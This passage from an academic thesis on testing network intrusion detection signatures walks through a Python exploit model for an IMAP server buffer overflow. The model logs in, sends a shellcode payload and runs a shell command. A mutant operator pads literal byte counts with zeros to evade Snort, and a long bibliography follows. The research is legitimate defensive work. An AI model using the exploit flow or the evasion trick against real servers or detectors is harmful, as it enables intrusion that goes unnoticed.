9 s e l f . l o g . i n f o ( ‘ ‘ Sending l o g i n . . . ’ ’ )
10
11 imapm . send cmd ( ’ l o g i n %s %s ’%( s e l f .USER, s e l f .PASSWD))
12
13 resp = imapm . ge t imap r e sponse ( )
14
15 i f not ( ‘ ‘OK LOGIN ’ ’ in r esp ) :
16 s e l f . l o g . e r r o r ( ‘ ‘ Login f a i l e d ! ! ’ ’ )
17 raise Explo i tError , ‘ ‘ Login f a i l e d ’ ’
18
19 s e l f . l o g . i n f o ( ‘ ‘ Logged−in .\ nSending the sh e l l c o d e . . . ’ ’ )
20
21 imapm . send cmd ( ’ l sub ‘ ‘ ’ ’ {1064} ’ )
22 resp = imapm . ge t imap r e sponse ( )
23 s e l f . l o g . i n f o ( ‘ ‘ Resp : %s ’ ’%resp )
24
25 s e l f . l o g . i n f o ( ‘ ‘ Sending sh e l l c o d e . . . ’ ’ )
26 imapm . send raw ( s e l f . eggm . ge t egg ( ) )
27 imapm . send raw ( ‘ ‘\n ’ ’ )
28 imapm . send raw ( ‘ ‘\n ’ ’ )
29 time . s l e ep (2 )

In line 11, the attack tries to login with the userid and password provided
by the user. The send cmd method usually receives a ImapCommand object.
In this case, Alice prefers to pass a string and let the IMAP protocol
manager to parse it and generate the corresponding ImapCommand object.
During this translation phase, each field of the command (i.e., keyword,
parameters, separator characters) is separated and a new command iden-
tifier (see [imap:spec] for more information on the IMAP protocol syntax)
is generated and prepended to the command.

Lines 13-17 check the server response and terminate the attack if the
login failed. Note that the exception ExploitError is different from the
previous ServiceDown since now we do not want the Sploit engine to
retry the same mutant because the failure was not related to the server
availability but to some internal exploit error.

Lines from 18 to 26 contain the actual attack code. The last one deserves
some more comments. First of all, the data are sent through the send raw

function. This is provided by most of the protocol managers and it is used
whenever the user want to send some data without passing through the
normal protocol parser and mutation steps. In fact, now we are sending a
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bunch of bytes that does not have any sense from an IMAP point of view.
The data comes from the get egg method provided by the EggManager

object. The function assembles the final egg putting together the nop sled,
the shellcode and the return addresses and applies to them the required
mutant operators.

Lines 27-29 just send a couple of new line characters and wait two seconds
for the shell to spawn.

30 s e l f . l o g . i n f o ( ‘ ‘ Sending s h e l l command : %s ’ ’%s e l f .CMD)
31 imapm . send raw ( s e l f .CMD+’ ’ \n ’ ’ )
32 s e l f . r e s = imapm . sock . r e ad l i n e ( ’ \n ’ , b l o ck ing=True )
33
34 s e l f . l o g . debug ( ‘ ‘ Response :\ r \n%r ’ ’%s e l f . r e s )
35 imapm . c l o s e ( )

The attack is now completed. It is time to check if on the other side
of the socket there is a shell at our disposal. The command chosen by
the user is sent in lines 30-31. Line 32 read the response (note that since
the IMAP server should now be substituted by the shell process, we need
to read the bytes directly through the socket). Finally, line 35 close the
connection.

The oracle

The original code has been completely translated in a shorter (and more
readable) Python script that is almost ready to be used in the Sploit frame-
work. There is still a method to be written, that is the interface to the
attack oracle.

In this case, there is no need for a remote (i.e., installed on the target
machine) oracle program, since the attack result can be easily computed
by the exploit script itself. In fact, it is enough to check if the string read in
line 32 contains the RESULT string previously set by the user. The following
snippet shows the isSuccessful function code:

1 def i s S u c c e s s f u l ( s e l f ) :
2 i f s e l f .RESULT in s e l f . r e s :
3 return RES OK
4 else :
5 return RES FAIL
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Adding a new Mutant Operator

In the previous section, we described line-by-line how a real attack can
be translated in a Sploit attack model. Here, we want to show what a
mutant operator looks like.

For this section, we are going to present the mutant operator that allowed
us to evade Snort in the case of the previous IMAP attack. The idea is
very simple (see Section 7.2.2 for more details on this technique): every
time a parameter is sent in literal form, modify the byte count prepending
to it a long sequence of zeros.

The operator skeleton is the following:

1 class ImapLitera lLength ( IMAPLayerOperator ) :
2 i s a o p e r a t o r = True
3
4 def i n i t ( s e l f ) :
5 IMAPLayerOperator . i n i t ( s e l f , ’ LLObfuscator ’ , ’ Desc ’ )
6 s e l f . add param ( IntParam ( ’N ’ ,20 , ’Number o f z e r o s ’ ) )
7
8 def mutate ( s e l f , cmds ) :
9 pass

It should not be difficult to understand. We define a new class that
extends IMAPLayerOperator, a sub-class of MutantOperator that adds
the code required to properly load and remove the operator in the IMAP
protocol manager.

Line 2 tells the engine that this class is actually a mutant operator, and
it can be instanciated and used in the mutation process. Then comes
the constructor, where we call the base class constructor to set the name
and the description of the current technique and we add a new Integer
parameter to allow the user to choose the number of zeros that will be
added in front of the byte figure.

Finally, there is the mutate method. It receives a single parameter that
contains a list of ImapCommand objects and should return the list containing
the mutated commands.

The mutation technique description stated:
For each command in the list, check each parameter.
If it is passed in literal form, add N zeros in front of the byte count.
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The same sentence in Python is:

1 def mutate ( s e l f , cmds ) :
2 # For each command . . .
3 for c in cmds :
4 # . . . check each parameter . . .
5 temp = [ ]
6 for p in c . parameters :
7 # . . . i f i t i s in l i t e r a l form . . .
8 i f p[0]== ’ { ’ and p[−1]== ’ } ’ :
9 # . . add to i t N zeros

10 temp . append ( ’{%s%s } ’%( ’ 0 ’ ∗ s e l f .N, p [ 1 : −1 ] ) )
11 else :
12 temp . append (p)
13 c . parameters = temp
14 return cmds





Bibliography

[admmutate] S. Macaulay. ADMmutate: Polymorphic Shellcode Engine.
http://www.ktwo.ca/security.html.

[alephone96] Aleph One. Smashing the Stack for Fun and Profit. Phrack
Magazine, 7(49), 1996.

[anderson80] J.P. Anderson. Computer Security Threat Monitoring and
Surveillance. James P. Anderson Co., Fort Washington, April
1980.

[antonatos04] Spyros Antonatos, Kostas G. Anagnostakis, and Evange-
los P. Markatos. Generating realistic workloads for network
intrusion detection systems. In WOSP ’04: Proceedings of the
4th international workshop on Software and performance, pages
207–215, New York, NY, USA, 2004. ACM Press.

[apache:httpd] The Apache HTTP Server Project. Apache HTTP Server.
http://httpd.apache.org/, 2005.

[arlat90] J. Arlat et al. Fault injection for dependability validation: a
methodology and some applications˙IEEE Transactions on Soft-
ware Engineering, 16(2):166–182, 1990.

[axelsson00] S. Axelsson. Intrusion Detection Systems: A Taxomomy and
Survey. Technical Report 99-15, Dept. of Computer Engineer-
ing, Chalmers University of Technology, Sweden, March 2000.

[axelsson99] S. Axelsson. The Base-Rate Fallacy and its Implications for
the Difficulty of Intrusion Detection. In Proceedings of the 6th



152 Testing Network Intrusion Detection Systems

ACM Conference on Computer and Communications Security,
1999.

[barford98] Paul Barford and Mark Crovella. Generating Representative
Web Workloads for Network and Server Performance Evalua-
tion. In Measurement and Modeling of Computer Systems, pages
151–160, 1998.

[bid:1110] SecurityFocus. Univ. of washington imapd buffer overflow
vulnerabilities. http://www.securityfocus.com/bid/1110/,
2005.

[bid:4149] SecurityFocus. Avenger’s News System Remote Command Ex-
ecution Vulnerability. http://securityfocus.com/bid/4149,
2002.

[bid:7294] SecurityFocus. Samba Remote Buffer Overflow Vulnerability.
http://securityfocus.com/bid/7294, 2005.

[blade:informer] Blade Software. Ids informer. http://www.

bladesoftware.net/, 2005.

[casl] Secure Networks. Custom Attack Simulation Language (CASL),
January 1998.

[cidf] S. Staniford-Chen. Common intrusion detection framework.
http://seclab.cs.ucdavis.edu/cidf/.

[clark95] D.K. Pradhan J.A. Clark. Fault injection: a method for validat-
ing computer-system dependability. IEEE Computer, 28(6):47–
56, 1995.

[cohen86] F. Cohen. Computer Viruses. PhD thesis, University of South-
ern California, 1986.

[core:impact] Core Security Technologies. Core impact. http://www.

coresecurity.com/products/coreimpact/, 2005.

[crosby03] Scott Crosby and Dan Wallach. Denial of service via algorithmic
complexity attacks. In Proceedings of the 12th USENIX Security
Symposium, August 2003.

[cuppens00] Frederic Cuppens and Rodolphe Ortalo. LAMBDA: A Lan-
guage to Model a Database for Detection of Attacks. In raid,
pages 197–216, 2000.



BIBLIOGRAPHY 153

[cve-2000-0284] Common Vulnerabilities and Exposures. Buffer overflow
in university of washington imapd version 4.7. http://cve.

mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0284,
2005.

[debar02] Herve Debar and Benjamin Morin. Evaluation of the Diagnos-
tic Capabilities of Commercial Intrusion Detection Systems. In
Proceedings of the International Symposium on Recent Advances
in Intrusion Detection, Zurich, Switzerland, October 2002.

[debar99] Herv&#233; Debar, Marc Dacier, and Andreas Wespi. Towards
a taxonomy of intrusion-detection systems. Computer Networks,
31(9):805–822, 1999.

[defcon] Jeff Moss. DefCon: the Largest Underground Hacking Event.
http://www.defcon.org/, 2005.

[demillo78] R. J. Lipton R. A. DeMillo and F. G. Sayward. Hints on
test data selection: Help for the practicing programmer. IEEE
Computer, 11(4):34–43, 1978.

[detristan03] Theo Detristan, Tyll Ulenspiegel, Yann Malcom, and Myn-
heer Von Underduk. Polymorphic Shellcode Engine Using Spec-
trum Analysis. Phrack Magazine, 11(61), August 2003.

[dijkstra76] Edsger W. Dijkstra. A Discipline of Programming. Prentice
Hall, 1976.

[du98] Wenliang Du and Aditya P. Mathur. Vulnerability testing of
software system using fault injection. Technical report, COAST,
Purdue University, West Lafayette, IN, US, April 1998.

[durst99] R. Durst, T. Champion, B. Witten, E. Miller, and L. Spagnuolo.
Addendum to “Testing and Evaluating Computer Intrusion De-
tection Systems”. CACM, 42(9):15, September 1999.

[eckmann00] S.T. Eckmann, G. Vigna, and R.A. Kemmerer. STATL: An
Attack Language for State-based Intrusion Detection. In Pro-
ceedings of the ACM Workshop on Intrusion Detection Systems,
Athens, Greece, November 2000.

[graham:sidestep] Robert Graham. SideStep. http://www.

robertgraham.com/tmp/sidestep.html, 2004.



154 Testing Network Intrusion Detection Systems

[haines03:llsim] Joshua W. Haines, Stephen A. Goulet, Robert S. Durst,
and Terrance G. Champion. LLSIM: Network Simulation for
Correlation and Response Testing. DARPA Information Sur-
vivability Conference and Exposition, 2:196, 2003.

[haines03:validation] J. Haines, D.K. Ryder, L. Tinnel, and S. Taylor. Val-
idation of Sensor Alert Correlators. IEEE Security & Privacy
Magazine, 1(1):46–56, January/February 2003.

[hazel:pcre] P. Hazel. PCRE: Perl Compatible Regular Expressions. http:
//www.pcre.org/, 2005.

[heady90] R. Heady, G. Luger, A. Maccabe, and M. Servilla. The Architec-
ture of a Network Level Intrusion Detection System. Technical
report, University of New Mexico, August 1990.

[horizon98] horizon. Defeating Sniffers and Intrusion Detection Systems.
Phrack Magazine, 8(54), December 1998.

[http1.1spec] Network Working Group. Hypertext Transfer Proto-
col – HTTP/1.1. http://www.w3.org/Protocols/rfc2616/

rfc2616.html, 1999.

[ideval98] MIT Lincoln Lab. The 1998 DARPA Intrusion Detection Eval-
uation. http://ideval.ll.mit.edu/1998 index.html, 1998.

[ideval99] MIT Lincoln Laboratory. DARPA Intrusion Detection Evalua-
tion. http://www.ll.mit.edu/IST/ideval/, 1999.

[idswakeup] S. Aubert. Idswakeup. http://www.hsc.fr/ressources/

outils/idswakeup/, 2000.

[ilgun93] K. Ilgun. USTAT: A Real-time Intrusion Detection System for
UNIX. In Proceedings of the IEEE Symposium on Research on
Security and Privacy, Oakland, CA, May 1993.

[ilgun95] K. Ilgun, R.A. Kemmerer, and P.A. Porras. State Transition
Analysis: A Rule-Based Intrusion Detection System. IEEE
Transactions on Software Engineering, 21(3):181–199, March
1995.

[imap:spec] Network Working Group. Internet Message Access Protocol–
IMAP version 4rev1. www.ietf.org/rfc/rfc3501.tx, 2003.



BIBLIOGRAPHY 155

[immunity:canvas] Immunity. Canvas. http://www.immunitysec.com/

products-canvas.shtml, 2005.

[iperf] Iperf. http://dast.nlarn.net/Projects/Iperf/, 2002.

[ipv6spec] Network Working Group. Internet Protocol, Version 6
(IPv6) Specification. http://www.faqs.org/rfcs/rfc2460.

html, 1998.

[isc] SANS Internet Storm Center. http://isc.sans.org/.

[javitz91] H. S. Javitz and A. Valdes. The SRI IDES Statistical Anomaly
Detector. In Proceedings of the IEEE Symposium on Security
and Privacy, May 1991.

[javitz94] H. S. Javitz and A. Valdes. The NIDES Statistical Component
Description and Justification. Technical report, SRI Interna-
tional, Menlo Park, CA, March 1994.

[karen02] Karen Kent Frederick. Evaluating network intrusion detection
signatures. http://www.securityfocus.com/infocus/1623,
2002.

[kruegel05] C. Kruegel, D. Mutz, W. Robertson, G. Vigna, and R. Kem-
merer. Reverse Engineering of Network Signatures. In Pro-
ceedings of the AusCERT Asia Pacific Information Technology
Security Conference, Gold Coast, Australia, May 2005.

[kumar94] Sandeep Kumar and Eugene H. Spafford. A Pattern Matching
Model for Misuse Intrusion Detection. In Proceedings of the 17th
National Computer Security Conference, pages 11–21, 1994.

[kumar95] S. Kumar. Classification and Detection of Computer Intrusions.
PhD thesis, Purdue University, 1995.

[landwehr94] Carl E. Landwehr, Alan R. Bull, John P. McDermott, and
William S. Choi. A taxonomy of computer program security
flaws. ACM Computer Surveys, 26(3):211–254, 1994.

[lindqvist99] U. Lindqvist and P.A. Porras. Detecting Computer and Net-
work Misuse with the Production-Based Expert System Toolset
(P-BEST). In IEEE Symposium on Security and Privacy, pages
146–161, Oakland, California, May 1999.



156 Testing Network Intrusion Detection Systems

[linhart05] C. Linhart, A. Klein, R. Heled, and S. Orrin. HTTP Request
Smuggling. Technical report, Watchfire White Paper, 2005.

[lippmann98] R. Lippmann, D. Fried, I. Graf, J. Haines, K. Kendall,
D. McClung, D. Weber, S. Webster, D. Wyschogrod, R. Cun-
ningham, and M. Zissman. Evaluating Intrusion Detection Sys-
tems: The 1998 DARPA Off-line Intrusion Detec tion Evalua-
tion. In Proceedings of the DARPA Information Survivability
Conference and Exposition, Vol ume 2, Hilton Head, SC, Jan-
uary 2000.

[lunt92] T. F. Lunt, A. Tamaru, F. Gilham, R. Jagannathan, C. Jalali,
P. G. Neumann, H. S. Javitz, A. Valdes, and T. D. Garvey. A
Real-Time Intrusion-Detection Expert System (IDES). Techni-
cal report, SRI International, February 1992.

[mchugh00] J. McHugh. Testing Intrusion Detection Systems: A Cri-
tique of the 1998 and 1999 DARPA Intrusion Detection Sys-
tem Evalautions as Performed by Lincoln Laboratory. ACM
Transaction on Information and System Security, 3(4), Novem-
ber 2000.

[meier04] Michael Meier. A Model for the Semantics of Attack Signatures
in Misuse Detection Systems. In Yuliang Zheng Kan Zhang,
editor, Information Security: 7th International Conference, ISC
2004, Palo Alto, CA, USA. Lecture Notes on Computer Science,
Genuary 2004.

[metasploit] Metasploit Project. Metasploit. http://www.metasploit.

com/, 2005.

[michel01] C&#233;dric Michel and Ludovic M&#233;. Adele: an at-
tack description language for knowledge-based intrustion detec-
tion. In Sec ’01: Proceedings of the 16th international conference
on Information security: Trusted information, pages 353–368,
2001.

[mukherjee94] Biswanath Mukherjee, L. Todd Heberlein, and Karl N.
Levitt. Network intrusion detection. IEEE Network, 8(3):26–41,
1994.



BIBLIOGRAPHY 157

[mutz03] D. Mutz, G. Vigna, and R.A. Kemmerer. An Experience De-
veloping an IDS Stimulator for the Black-Box Testing of Net-
work Intrusion Detection Systems. In Proceedings of the 2003
Annual Computer Security Applications Conference, Las Vegas,
Nevada, December 2003.

[neohapsis:osec] Neohapsis OSEC Project. Neohapsis OSEC. http://

osec.neohapsis.com/, 2005.

[nessus:nasl] Michel Arboi. The Nessus Attack Scripting Language Ref-
erence Guide, 2002. http://www.nessus.org/doc/nasl2

reference.pdf.

[networkworld02] NetworkWorld. Crying wolf: False alarms hide at-
tacks. http://www.networkworld.com/techinsider/2002/

0624security1.html, 2002.

[neumann89] P.G. Neumann and D.B. Parker. A Summary of Computer
Misuse Techniques”. In Proceedings of the 12th National Com-
puter Security Conference, Baltimore, MD, October 1989.

[newsome05] J. Newsome and D. Song. Dynamic taint analysis for auto-
matic detection, analysis, and signature generation of exploits
on commodity software. In Proceedings of the Network and Dis-
tributed System Security Symposium (NDSS), 2005.

[ngss] Next Generation Software Security Ltd. NGSS Evaluation.
http://www.nextgenss.com/, 2004.

[nidsbench] Anzen. Nidsbench: a network intrusion detection sys-
tem test suite. http://packetstorm.widexs.nl/UNIX/IDS/

nidsbench/, 1999.

[nistir-7007] Peter Mell, Vincent Hu, Richard Lippman, Josh Haines, and
MArc Zissman. An overview of issues in testing intrusion de-
tection.

[nss] NSS Group. Network and Security Testing Organization. http:
//www.nss.co.uk/.

[nss:eval] Network Security Services Group. NSS IDS Evaluation (4th

Edition). http://www.nss.co.uk/ips, 2004.



158 Testing Network Intrusion Detection Systems

[openssl] The OpenSSL Project. OpenSSL. http://www.openssl.org/,
2005.

[pahdye01] Jitendra Pahdye and Sally Floyd. On inferring tcp behavior. In
SIGCOMM ’01: Proceedings of the 2001 conference on Appli-
cations, technologies, architectures, and protocols for computer
communications, pages 287–298, New York, NY, USA, 2001.
ACM Press.

[patton01] S. Patton, W. Yurcik, and D. Doss. An Achilles’ Heel in
Signature-Based IDS: Squealing False Positives in SNORT. In
Proceedings of the International Symposium on Recent Advances
in Intrusion Detection, October 2001.

[paxson03] David Moore, Vern Paxson, Stefan Savage, Colleen Shannon,
Stuart Staniford, and Nicholas Weaver. Inside the slammer
worm. IEEE Security and Privacy, 1(4):33–39, 2003.

[paxson98] V. Paxson. Bro: A System for Detecting Network Intruders in
Real-Time. In 7th Usenix Security Symposium, 1998.

[porras97] P.A. Porras and P.G. Neumann. EMERALD: Event Monitor-
ing Enabling Responses to Anomalous Live Disturbances. In
Proceedings of the 1997 National Information Systems Security
Conference, October 1997.

[provos04] Niels Provos. A Virtual Honeypot Framework. In Proceedings of
the 13th USENIX Security Symposium, San Diego, CA, August
2004.

[ptacek98] T.H. Ptacek and T.N. Newsham. Insertion, Evasion and De-
nial of Service: Eluding Network Intrusion Detection. Technical
report, Secure Networks, January 1998.

[puketza96] Nicholas J. Puketza, Kui Zhang, Mandy Chung, Biswanath
Mukherjee, and Ronald A. Olsson. A methodology for test-
ing intrusion detection systems. IEEE Trans. Softw. Eng.,
22(10):719–729, 1996.

[puketza97] Nicholas Puketza, Mandy Chung, Ronald A. Olsson, and
Biswanath Mukherjee. A software platform for testing intru-
sion detection systems. IEEE Software, 14(5):43–51, 1997.



BIBLIOGRAPHY 159

[ranum01] M. Ranum. Experience Benchmarking Intrusion Detection Sys-
tems. NFR Security White Paper, December 2001.

[ranum03] M. Ranum. False positives: A user’s guide to making sense of
ids alarms. NFR Security White Paper, February 2003.

[realsecure] ISS. Realsecure. http://www.iss.net/, 2004.

[rfc2828] R. Shirey. Internet security glossary. RFC 2828 (Informational),
May 2000.

[roesch99] M. Roesch. Snort - Lightweight Intrusion Detection for Net-
works. In Usenix LISA Conference, 1999.

[rossey02] Lee Rossey, Robert Cunningham, David Fried, Jesse Rabek,
RIchard Lippman, Joshua Haines, , and Marc Zissman.
LARIAT: Lincoln Adaptable Real-time Information Assurance
Testbed. In Proceedings of the 2002 IEEE Aerospace Confer-
ence, 2002.

[rubin04] S. Rubin, S. Jha, and B. Miller. Automatic generation and anal-
ysis of NIDS attacks. In Proceedings of the Annual Computer
Security Applications Conference (ACSAC), December 2004.

[scapy] Philippe Biondi. Scapy interactive packet manipulation tool.
http://www.secdev.org/projects/scapy/, 2005.

[sebring88] Michael M. Sebring, Eric Shellhouse, Mary E. Hanna, and
R. Alan Whitehurst. Expert systems in intrusion detection:
A case study. In Proceedings of the 11th National Computer Se-
curity Conference, pages 74–81, Baltimore, Maryland, October
1988. NIST.

[sfuzz] Sharefuzz. http://www.atstake.com/research/tools/

vulnerability scanning/.

[shankar03] Umesh Shankar and Vern Paxson. Active mapping: Resisting
nids evasion without altering traffic. In SP ’03: Proceedings of
the 2003 IEEE Symposium on Security and Privacy, page 44,
Washington, DC, USA, 2003. IEEE Computer Society.

[singarajul04] G. Singarajul, L. Teo1, and Y. Zheng. A Testbed for Quan-
titative Assessment of Intrusion Detection Systems using Fuzzy
Logic. In Proceedings of the IEEE International Information



160 Testing Network Intrusion Detection Systems

Assurance Workshop, United States Military Academy, West
Point, New York, June 2004.

[smartbits] Spirent Communications. Smartbits terarouting tester.
http://www.spirentcom.com/analysis/product product.

cfm?PL=33&PS=34&PR=142, 2005.

[snort:rules] M. Roesch. Writing Snort Rules: How To write Snort rules
and keep your sanity. http://www.snort.org.

[snot] Sniph. Snot. http://www.sec33.com/sniph, 2001.

[sommer03] Robin Sommer and Vern Paxson. Enhancing byte-level net-
work intrusion detection signatures with context. In CCS ’03:
Proceedings of the 10th ACM conference on Computer and com-
munications security, pages 262–271, New York, NY, USA,
2003. ACM Press.

[sommers04:harpoon] Joel Sommers and Paul Barford. Self-configuring
network traffic generation. In IMC ’04: Proceedings of the 4th
ACM SIGCOMM conference on Internet measurement, pages
68–81, New York, NY, USA, October 2004. ACM Press.

[sommers04:mace] Joel Sommers, Vinod Yegneswaran, and Paul Barford.
A framework for malicious workload generation. In IMC ’04:
Proceedings of the 4th ACM SIGCOMM conference on Internet
measurement, pages 82–87, New York, NY, USA, October 2004.
ACM Press.

[spike] Spike. http://www.immunitysec.com/

resources-freesoftware.shtml.

[sslv2spec] Netscape Communication. SSL 2.0 Protocol Specification.
http://wp.netscape.com/eng/security/SSL 2.html, 1995.

[stick] C. Giovanni. Fun with Packets: Designing a Stick. http://

www.eurocompton.net/stick/, 2002.

[sun:bsm] Sun Microsystems, Inc. Installing, Administering, and Using
the Basic Security Module. 2550 Garcia Ave., Mountain View,
CA 94043, December 1991.

[thor] IBM Zurich Research Laboratory. Thor. http://www.zurich.
ibm.com/csc/infosec/gsal/past-projects/thor/, 2004.



BIBLIOGRAPHY 161

[ttcp] PcAusa. Test tcp (ttcp) benchmarking tool. http://www.

pcausa.com/Utilities/pcattcp.htm, 2005.

[vigna00] G. Vigna, S.T. Eckmann, and R.A. Kemmerer. Attack Lan-
guages. In Proceedings of the IEEE Information Survivability
Workshop, Boston, MA, October 2000.

[vigna04] G. Vigna, W. Robertson, and D. Balzarotti. Testing Network-
based Intrusion Detection Signatures Using Mutant Exploits. In
Proceedings of the ACM Conference on Computer and Commu-
nication Security (ACM CCS), pages 21–30, Washington, DC,
October 2004.

[vigna99] G. Vigna and R.A. Kemmerer. NetSTAT: A Network-based
Intrusion Detection System. Journal of Computer Security,
7(1):37–71, 1999.

[vmware] VmWare. http://www.vmware.com/, 2005.

[voas97] Jeffrey M. Voas, Gary McGraw, Lora Kassab, and Larry Voas.
A ’crystal ball’ for software liability. IEEE Computer, 30(6):29–
36, 1997.

[wenke02] Wenke Lee, Joao B.D.Cabrera, Ashley Thomas, Niranjan Bal-
walli, Sunmeet Saluja, and Yi Zhang. Performance Adaptation
in Real-Time Intrusion Detection Systems. In Proceedings of
the International Symposium on Recent Advances in Intrusion
Detection, Zurich, Switzerland, October 2002.

[weyuker91] E. J. Weyuker and B. Jeng. Analyzing partition testing strate-
gies. IEEE Transactions on Software Engineering, 17(7):703–
711, July 1991.

[whisker] Whisker - A web vulnerability scanner. http://www.wiretrip.
net/rfp/p/doc.asp/i2/d21.htm.

[zimmer99] D. Zimmer and R. Unland. On the Semantics of Complex
Events in Active Database Management Systems. In Proceed-
ings of the 15th International Conference on Data Engineering,
pages 392–399. IEEE Computer Society Press, 1999.



Politecnico di Milano

Dipartimento di Elettronica e Informazione
Piazza Leonardo da Vinci 32 20133 — Milano


	Introduction
	Contribution of the Thesis
	Organization

	Background and Motivation
	Intrusion Detection Systems
	IDSs in the Security Scenario
	Definition and Classification

	The detection problem
	Difference between Attack and Intrusion
	Decidability Considerations
	False Positives and False Negatives
	More on the importance of false positives

	NIDS Signatures
	Signature Languages
	The Importance of Signature Testing
	Feasibility of Black Box Testing


	Previous Works on NIDS testing
	Introduction: the How and What of NIDS testing
	Testing Methodologies
	Issues in NIDS Testing

	Traffic Generation
	Background Traffic
	Malicious Traffic

	Previous Works in NIDS testing
	Main Testing Experiments
	Testbed
	Research Experiments

	Testing Tools
	IDS Stimulators
	NIDS Evasion Tools
	Exploit Execution Environments
	Attack Mutation Tools

	Summary

	NIDS Testing through Mutant Generation
	Approach Overview
	Relation with Fault Injection and Mutation Testing
	Design Issues

	Part I: the Attack Model
	Definitions
	Exploit Description Languages

	Part II: the Mutation Model
	Mutant Operators
	Characterizing a Mutant Operator
	Combining mutant operators
	Example of mutation techniques

	The Oracle Problem
	Summary

	Exploring the Mutation Space
	Introduction to the Mutation Space
	Static Techniques
	Reducing the space size through parameters tuning
	Heuristics

	Dynamic Techniques
	Dynamic Data Flow Analysis
	Constraints generation
	Efficient Mutant Generation


	Sploit: a Prototype Implementation
	System Architecture
	Attack Model Implementation
	Mutation Model Implementation
	Userland TCP/IP Stack
	Mutant Factories
	Alert Collectors
	Putting everything together: the Sploit tool

	Itrace Extension
	Itrace
	Sploit Extension
	Driving the Mutant Generation


	Signature Testing with Sploit: Experimental Results
	Sploit at Work: the Main Experiment
	Testing Setup
	Attack Description

	Experiment Results
	Tests Results
	Evasion Details
	Considerations

	Dynamic Analysis Tests
	Basic constraint-based Snort evasion
	String constraint-based Snort evasion
	Basic constraint-based Symantec evasion


	Conclusions
	Future Work

	Short Glossary of Technical Terms
	Working with Sploit
	References

